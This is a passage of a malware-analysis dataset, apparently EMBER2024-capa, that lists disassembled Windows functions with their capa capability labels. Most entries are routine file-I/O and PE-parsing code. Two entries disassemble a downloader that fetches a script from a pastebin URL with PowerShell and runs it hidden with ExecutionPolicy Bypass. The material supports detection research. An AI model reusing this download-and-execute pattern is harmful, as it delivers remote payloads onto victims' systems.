joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180005330
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x180005358
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x18000537e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x180005380
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1800053d9
test ecx, ecx
jle 0x1800053b9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1800053d9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1800053d9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x180005400
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x180005422
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x180005438
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x180005454
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180005456
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180005492
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x18000552e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1800054cd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x18000550e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x18000552e
cmp rbx, rax
ja 0x1800054e0
test rbx, rbx
je 0x18000552e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x180005990
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x18001f040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1800059bd
xor eax, eax
jmp 0x180005b29
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1800059f7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1800059f7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x180005b29
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x180005b1c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180005a3a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x180005a65
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x180005b21
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180005ad4
sub eax, 1
je 0x180005ad4
cmp eax, 2
jne 0x180005b1c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x180005b21
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x180005b02
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x180005b1c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x180005b21
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.18000cbf0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x180006150
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x18001f040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x180006223
cmp byte [rcx + 0x71], 0
je 0x180006223
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x18000621f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x1800061e4
sub eax, 1
je 0x1800061e8
cmp eax, 2
jne 0x18000621f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18000cbf0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x180006216
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x18000621f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x1800061cc
xor al, al
jmp 0x1800061cc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18000cbf0
add rsp, 0x60
pop rbx
ret
Function at 0x18000afe0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x18001f040]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x18000b0f7
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x18000b0f7
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov qword [rsp + 0x58], r8
mov ecx, dword [rax + rdx + 0xb0]
test ecx, ecx
jne 0x18000b059
mov qword [rdi], r8
mov qword [rdi + 8], r8
mov qword [rdi + 0x10], r8
jmp 0x18000b102
lea rbx, [rdx + rcx]
mov ebp, dword [rax + rdx + 0xb4]
add rbp, rbx
mov rcx, qword [rsp + 0x50]
cmp rbx, rbp
jae 0x18000b0e5
mov edx, dword [rbx + 4]
test edx, edx
je 0x18000b0e5
mov eax, dword [rbx]
add rax, rsi
mov qword [rsp + 0x28], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x30], rax
lea rax, [rdx - 8]
shr rax, 1
mov dword [rsp + 0x38], eax
cmp rcx, r8
je 0x18000b0be
movups xmm0, xmmword [rsp + 0x28]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rsp + 0x38]
movsd qword [rcx + 0x10], xmm1
mov rcx, qword [rsp + 0x50]
add rcx, 0x18
mov qword [rsp + 0x50], rcx
jmp 0x18000b0d5
lea r8, [rsp + 0x28]
mov rdx, rcx
lea rcx, [rsp + 0x48]
call fcn.18000b9a0
mov rcx, qword [rsp + 0x50]
mov eax, dword [rbx + 4]
add rbx, rax
mov r8, qword [rsp + 0x58]
cmp rbx, rbp
jb 0x18000b071
mov rax, qword [rsp + 0x48]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], r8
jmp 0x18000b102
mov qword [rcx], r8
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r8
mov rax, rdi
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.18000cbf0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x18000c9a0
Capabilities:
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x18001f040]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor edi, edi
lea r9, [rsp + 0x20]
mov rsi, rcx
mov dword [rsp + 0x20], edi
xor r8d, r8d
xor edx, edx
mov ebx, edi
lea ecx, [rdi + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x18000ca31
test rbx, rbx
je 0x18000c9f9
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rax
mov ecx, 0xb
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x18000c9e3
test eax, eax
jns 0x18000ca52
test rbx, rbx
je 0x18000ca57
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x18000cb1d
test rbx, rbx
jne 0x18000ca5e
xor eax, eax
jmp 0x18000cb1d
mov qword [rsp + 0x68], rbp
cmp dword [rbx], edi
jbe 0x18000cb05
nop dword [rax + rax]
mov eax, edi
imul rcx, rax, 0x128
movzx edx, word [rcx + rbx + 0x2e]
lea rbp, [rcx + rbx]
add rcx, 0x30
add rdx, rcx
lea rcx, [rsp + 0x28]
add rdx, rbx
call fcn.180005f20
cmp qword [rsi + 0x18], 0xf
mov rdx, rsi
jbe 0x18000caa3
mov rdx, qword [rsi]
cmp qword [rsp + 0x40], 0xf
lea rcx, [rsp + 0x28]
cmova rcx, qword [rsp + 0x28]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x18000cb3a
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x18000cafb
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000caf6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000cb83
call fcn.18000cc10
inc edi
cmp edi, dword [rbx]
jb 0x18000ca70
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov rbp, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.18000cbf0
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
mov rdi, qword [rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x18000cb8f
mov rcx, qword [rsp + 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000cb8a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000cb8a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18000cc10
mov rax, rdi
jmp 0x18000cb18
Function at 0x140001230
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
movsxd rax, dword [rcx + 0x3c]
xor r9d, r9d
mov rdi, rdx
mov r11, rcx
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov esi, dword [r8 + 0x1c]
mov ebp, dword [r8 + 0x24]
add rsi, rcx
mov r10d, dword [r8 + 0x20]
add rbp, rcx
mov ebx, dword [r8 + 0x18]
add r10, rcx
test ebx, ebx
je 0x1400012b3
nop dword [rax]
mov r8d, dword [r10]
mov rax, rdi
add r8, r11
sub r8, rdi
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400012a3
inc rax
test ecx, ecx
jne 0x140001290
test edx, edx
je 0x1400012ca
inc r9d
add r10, 4
cmp r9d, ebx
jb 0x140001280
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
movzx ecx, word [rbp + r9*2]
mov eax, dword [rsi + rcx*4]
add rax, r11
jmp 0x1400012b5

Function at 0x1400012e0
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x450
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rax, qword gs:[0x60]
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x230]
mov r8d, 0x208
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
cmp rbx, rdi
je 0x1400013e8
nop dword [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x230]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rbx + 0x40]
lea rcx, [rsp + 0x230]
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, rsi
lea rcx, [rsp + 0x20]
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcslwr_s]
mov edx, 0x104
lea rcx, [rsp + 0x230]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcslwr_s]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x230]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x14000141e
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x140001350
mov rdx, rsi
lea rcx, str._te_0_31m_____e_0me_1mfailed_to_get_a_handle_to__ls_n_ne_0m
call fcn.140001010
xor eax, eax
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140003980
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov rax, qword [rbx + 0x20]
jmp 0x1400013f9
Function at 0x1400042f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004342
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004342
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004342
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004342
cmp dword [rcx + 0x84], 0xe
jbe 0x140004342
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004344
xor al, al
add rsp, 0x28
ret
Function at 0x401000
Capabilities:
Check if file exists
Execute command
Get common file path

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x640
lea rax, str.https:__pastebin.com_raw_EMUsKbrP
mov qword [rbp - 8], rax
lea rax, [rbp - 0x10c]
mov r11, rax
mov eax, 0x104
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetTempPathA
cmp eax, 0
je 0x401041
jmp 0x40105d
lea rax, str.Falha_ao_obter_o_diretrio_temporrio._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x4011bf
lea rax, [rbp - 0x10c]
mov r9, rax
lea rax, str._sby_niel.ps1
mov r8, rax
movabs rax, 0x104
mov r11, rax
lea rax, [rbp - 0x210]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll__snprintf
lea rax, [rbp - 0x210]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 8]
mov r9, rax
lea rax, str.powershell__Command__Invoke_WebRequest__Uri__s__OutFile__s_
mov r8, rax
movabs rax, 0x400
mov r11, rax
lea rax, [rbp - 0x610]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll__snprintf
lea rax, [rbp - 0x610]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
cmp eax, 0
je 0x401109
lea rax, str.Falha_ao_baixar_o_arquivo._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x4011bf
lea rax, [rbp - 0x210]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4011a8
lea rax, str.Sucesso._Executando_o_script..._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [rbp - 0x210]
mov r9, rax
lea rax, str.powershell__w_h__ExecutionPolicy_Bypass__File___s_
mov r8, rax
movabs rax, 0x400
mov r11, rax
lea rax, [rbp - 0x610]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll__snprintf
lea rax, [rbp - 0x610]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
cmp eax, 0
je 0x4011a3
lea rax, str.Falha_ao_executar_o_script._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x4011bf
jmp 0x4011ba
lea rax, str.Falha._O_arquivo_no_foi_encontrado._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x40100b
Capabilities:
Check if file exists
Execute command
Get common file path
Get file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x640
lea rax, str.https:__pastebin.com_raw_EMUsKbrP
mov qword [rbp - 8], rax
lea rax, [rbp - 0x10c]
mov r11, rax
mov eax, 0x104
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetTempPathA
cmp eax, 0
je 0x401041
jmp 0x40105d
lea rax, str.Falha_ao_obter_o_diretrio_temporrio._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x4011bf
lea rax, [rbp - 0x10c]
mov r9, rax
lea rax, str._sby_niel.ps1
mov r8, rax
movabs rax, 0x104
mov r11, rax
lea rax, [rbp - 0x210]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll__snprintf
lea rax, [rbp - 0x210]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp - 8]
mov r9, rax
lea rax, str.powershell__Command__Invoke_WebRequest__Uri__s__OutFile__s_
mov r8, rax
movabs rax, 0x400
mov r11, rax
lea rax, [rbp - 0x610]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll__snprintf
lea rax, [rbp - 0x610]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
cmp eax, 0
je 0x401109
lea rax, str.Falha_ao_baixar_o_arquivo._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x4011bf
lea rax, [rbp - 0x210]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x4011a8
lea rax, str.Sucesso._Executando_o_script..._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
lea rax, [rbp - 0x210]
mov r9, rax
lea rax, str.powershell__w_h__ExecutionPolicy_Bypass__File___s_
mov r8, rax
movabs rax, 0x400
mov r11, rax
lea rax, [rbp - 0x610]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll__snprintf
lea rax, [rbp - 0x610]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_system
cmp eax, 0
je 0x4011a3
lea rax, str.Falha_ao_executar_o_script._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x4011bf
jmp 0x4011ba
lea rax, str.Falha._O_arquivo_no_foi_encontrado._n
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_printf
mov eax, 0
leave
ret
Function at 0x40171b
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov rdx, qword [rbp + 0xf0]
lea rcx, str.Looking_for_process_name__s_n
call sub.msvcrt.dll_printf
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
mov dword [rbp - 0x60], 0x130
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd8]
mov rdx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4017b5
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x40179e
mov eax, dword [rbp - 0x58]
mov ecx, eax
call fcn.004017d2
lea rax, [rbp - 0x60]
mov rcx, qword [rbp + 0xd8]
mov rdx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401779
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x160
pop rbp
ret
Function at 0x402100
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x402288
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x40214c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4021d5
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402130
mov rcx, rbx
call fcn.00402da0
test rax, rax
mov r12, rax
je 0x4022bd
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00402ed0
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4022a0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4021ce
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402230
add dword [0x00408624], 1
cmp edi, 8
jae 0x402203
test dil, 4
jne 0x402274
test edi, edi
je 0x4021f8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40228f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x4021f8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40221c
jmp 0x4021f8
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4021ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00403350
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x4021f8
xor esi, esi
jmp 0x402157
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x4021f8
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.00403350
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.00403350
nop
nop dword [rax]

Function at 0x402a10
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x402a64
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402a5b
test rsi, rsi
je 0x402a5b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402a40
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402da0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004054e0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402e0d
mov rcx, r8
call fcn.00402c80
test eax, eax
je 0x402e0d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402e0d
